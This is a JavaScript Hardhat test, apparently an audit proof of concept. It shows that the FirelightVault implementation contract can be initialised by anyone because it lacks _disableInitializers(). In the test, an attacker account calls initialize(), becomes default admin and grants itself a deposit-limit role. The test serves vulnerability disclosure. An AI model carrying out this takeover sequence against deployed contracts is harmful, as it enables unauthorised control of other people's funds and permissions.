it('no constructor with _disableInitializer', async () => {
const attacker = users[2];
// === 1. Deploy the logic (implementation) contract directly ===
const Factory = await ethers.getContractFactory('FirelightVault');
const impl = await Factory.deploy(); // Ethers v6 waits for deployment automatically
// === 2. Sanity check (just info, not assertion) ===
const proxyAdminRole = await firelight_vault.DEFAULT_ADMIN_ROLE();
let proxyAdminFound = false;
for (const user of users) {
const hasAdmin = await firelight_vault.hasRole(proxyAdminRole, user.address);
if (hasAdmin) {
console.log('Existing admin on proxy:', user.address);
proxyAdminFound = true;
}
}
if (!proxyAdminFound) console.log('⚠️ No admin found on proxy (fixture may use another deployer)');
// === 3. Prepare initialize() params for the implementation ===
const initParamsTypes = [
'address', // defaultAdmin
'address', // limitUpdater
'address', // blocklister
'address', // pauser
'address', // periodConfigurationUpdater
'uint256', // depositLimit
'uint48' // periodConfigurationDuration
];
const depositLimit = ethers.parseUnits('1000', DECIMALS);
const periodDuration = 86400; // 1 day
// encode using ethers v6 ABI coder
const abiCoder = ethers.AbiCoder.defaultAbiCoder();
const initParamsEncoded = abiCoder.encode(initParamsTypes, [
attacker.address, // make attacker the admin
ethers.ZeroAddress,
ethers.ZeroAddress,
ethers.ZeroAddress,
ethers.ZeroAddress,
depositLimit,
periodDuration
]);
// === 4. Attacker calls initialize on implementation (which should NOT be possible if _disableInitializers() existed) ===
await expect(
impl.connect(attacker).initialize(token_contract.target, 'ImplVault', 'iVAULT', initParamsEncoded)
).to.not.be.reverted;
// === 5. Verify the attacker now owns the implementation contract ===
const DEFAULT_ADMIN = await impl.DEFAULT_ADMIN_ROLE();
const isAttackerAdmin = await impl.hasRole(DEFAULT_ADMIN, attacker.address);
expect(isAttackerAdmin).to.equal(true);
// === 6. Show that attacker can grant themselves another role ===
const DEPOSIT_LIMIT_ROLE = await impl.DEPOSIT_LIMIT_UPDATE_ROLE();
await impl.connect(attacker).grantRole(DEPOSIT_LIMIT_ROLE, attacker.address);
const hasDepositLimitRole = await impl.hasRole(DEPOSIT_LIMIT_ROLE, attacker.address);
expect(hasDepositLimitRole).to.equal(true);
console.log('\n✅ Exploit Successful: Attacker initialized unprotected implementation contract and took admin control.\n');
});